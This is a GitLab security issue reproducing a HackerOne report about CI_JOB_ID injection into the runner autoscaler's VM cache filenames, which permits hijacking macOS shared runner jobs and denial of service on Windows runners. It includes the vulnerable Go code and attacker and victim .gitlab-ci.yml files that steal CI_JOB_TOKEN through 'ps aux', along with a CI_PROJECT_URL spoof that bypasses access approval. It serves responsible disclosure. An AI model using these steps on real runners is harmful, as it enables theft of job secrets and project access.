Skip to content

MacOS shared runner jobs can be arbitrarily hijacked and Windows runners can be DoS'ed (re-submission)

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #1948598 by pwnie on 2023-04-15, assigned to @cmaxim:

Report | Attachments | How To Reproduce

Report

Summary

MacOS and Windows shared runners on Gitlab.com use the autoscaler driver for the custom executor of Gitlab Runner. Windows shared runners use v0.1.0 and MacOS shared runners use later version v0.8.1. These are coincidentally both using an outdated function for naming runners. In v0.8.1 it is the VMName function in providers/orka/provider.go:

func (p *Provider) VMName(runnerData vm.NameRunnerData) string {  
	jobID := strconv.FormatInt(runnerData.JobID, 10)

	// strip vmTag to stay under Orka's 38 chars limit  
	lenTag := 38 - len("runner--") - len(jobID)  
	vmTag := p.vmTag  
	if len(vmTag) > lenTag {  
		vmTag = vmTag[:lenTag]  
	}

	parts := []string{  
		"runner",  
		vmTag,  
		jobID,  
	}

	return strings.ToLower(strings.Join(parts, "-"))  
}

and in v0.1.0 it's NewName in vm/name.go:

func NewName(vmTag string, runnerData NameRunnerData) string {

	jobID := strconv.FormatInt(runnerData.JobID, 10)

	// strip vmTag to stay under Orka's 38 chars limitvm  
	lenTag := 38 - len("runner--") - len(jobID)  
	if len(vmTag) > lenTag {  
		vmTag = vmTag[:lenTag]  
	}

	parts := []string{  
		"runner",  
		vmTag,  
		jobID,  
	}

	return strings.ToLower(strings.Join(parts, "-"))  
}

The code is using a user supplied jobID in the runner name, which is then used in a filename for caching VM instances:

type Instance struct {  
	Name string

	IPAddress string

	// For machine authentication  
	Username      string  
	Password      string  
	PrivateSSHKey []byte

	GCP  gcp.Instance  
	Orka orka.Instance  
}

providers/cache.go:

func (d *fsCacheStore) vmFilePath(vmName string) string {  
	return filepath.Join(d.directory, fmt.Sprintf("%s.json", vmName))  
}

Above we can see that vmName is directly appended to a file path. Not only does this lead to directory traversal, but also doesn't take into account this is being used in a critical operation: the caching of VMs. After a machine is created with a provider, its connection info and metadata is stored in this file on the runner manager so that it can be used in subsequent calls to autoscaler.

One can overwrite the CI_JOB_ID predefined variable to control this value. Assume the following attack scenario:

  1. Victim starts pipeline
  2. Attacker grabs job ID associated with the job they want to hijack
  3. Attacker sets the CI_JOB_ID on a malicious job to this ID (on the same runner manager as their target job)
  4. autoscaler of Victim job uses the cached VM details of the attacker on subsequent connections

MacOS jobs can be hijacked and DoS'ed while Windows runners can only be DoS'ed due to name collision errors when using the same job ID as someone else.

Side Bug: MacOS shared runners are available to anyone without requesting access first. One can set the CI_PROJECT_URL environment variable to an already approved project found under the Issues of https://gitlab.com/gitlab-com/runner-saas-macos-access-requests.

Steps to reproduce

  1. Create a .gitlab-ci.yml config with the following content in a private test project (we'll call this project victim):
victim:  
  variables:  
    CI_PROJECT_URL: https://gitlab.com/c5446/olive-pays-test  
  image: "macos-11-xcode-12"  
  script:  
    - cat ~/.ssh/authorized_keys  
    - sleep 40  
  after_script:  
    - echo "I am victim. We do CI operations."  
    - cat ~/.ssh/authorized_keys  
    - sleep 600  
  tags:  
    - shared-macos-amd64  
    - primary  
  1. Create a .gitlab-ci.yml config with the following content in another private test project but replace TARGET/REPO with the path of the victim project Ex: mygroup/myproject (we'll call this project attacker):
stages:  
stages:  
  - pwn  
attacker:  
  when: delayed  
  start_in: 12 seconds  
  stage: pwn  
  variables:  
    CI_PROJECT_URL: https://gitlab.com/c5446/olive-pays-test  
    CI_JOB_ID: "4119853068"  
  image: "macos-11-xcode-12"  
  script:  
    - cat ~/.ssh/authorized_keys  
    - mkdir -p /Users/gitlab/builds/TARGET/REPO  
    - sleep 60  
    - ps aux  
    - sleep 600  
  tags:  
    - shared-macos-amd64  
    - primary  
  1. Open the pipeline editor of the attackers project so you can edit .gitlab-ci.yml
  2. Go back to the victims project, run a job, and quickly copy it's job ID
  3. Go back to the pipeline editor of the attacker, quickly insert the job ID into INSERT_JOB_ID_HERE and save your changes (it is important you copy the job ID quickly, all of this can be automated in a real world scenario)
  4. Observe the attacker job log output and wait for the ps aux command to execute for the victims job variables
  5. Ctrl+F CI_JOB_TOKEN to confirm

You can also easily crash a running job(s) using this bug. I wont demonstrate that since it's obvious how it can be done.

Impact

Attacker can hijack arbitrary MacOS shared runner jobs and steal job variables which leads to project authentication via CI_JOB_TOKEN. Secrets are also disclosed. Windows shared runner jobs can only be DoS'ed. One can target jobs at scale using parallel jobs, making this even more critical.

VIdeo PoC

Screencast_from_03-23-2023_06_59_32_PM.webm

Impact

Attacker can hijack arbitrary MacOS shared runner jobs and steal job variables which leads to project authentication via CI_JOB_TOKEN. Secrets are also disclosed. Windows shared runner jobs can only be DoS'ed. One can target jobs at scale using parallel jobs, making this even more critical.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

Edited by Dominic Couture